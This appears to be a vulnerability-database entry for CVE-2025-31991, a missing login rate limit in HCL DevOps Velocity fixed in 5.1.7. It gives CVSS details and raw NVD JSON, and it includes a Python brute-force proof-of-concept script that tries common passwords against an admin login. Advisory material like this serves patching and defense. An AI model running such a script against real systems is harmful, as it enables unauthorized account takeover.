Security Vulnerability Report
中文
CVE-2025-31991 CVSS 6.8 MEDIUM

CVE-2025-31991

Published: 2026-04-13 16:16:24
Last Modified: 2026-04-17 15:18:17

Description

Rate Limiting for attempting a user login is not being properly enforced, making HCL DevOps Velocity susceptible to brute-force attacks past the unsuccessful login attempt limit.  This vulnerability is fixed in 5.1.7.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

HCL DevOps Velocity < 5.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "https://<target-host>/login" target_user = "admin" password_list = ["password", "123456", "admin123", "root"] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Starting brute force attack against {target_user}...") for password in password_list: # Construct payload payload = { "username": target_user, "password": password } try: # Send login request # Note: Due to CVE-2025-31991, rate limiting is not enforced response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Valid credentials found: {target_user} : {password}") break else: print(f"[-] Attempt failed: {password}") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31991", "sourceIdentifier": "[email protected]", "published": "2026-04-13T16:16:24.110", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rate Limiting for attempting a user login is not being properly enforced, making HCL DevOps Velocity susceptible to brute-force attacks past the unsuccessful login attempt limit.  This vulnerability is fixed in 5.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0130138", "source": "[email protected]"}]}}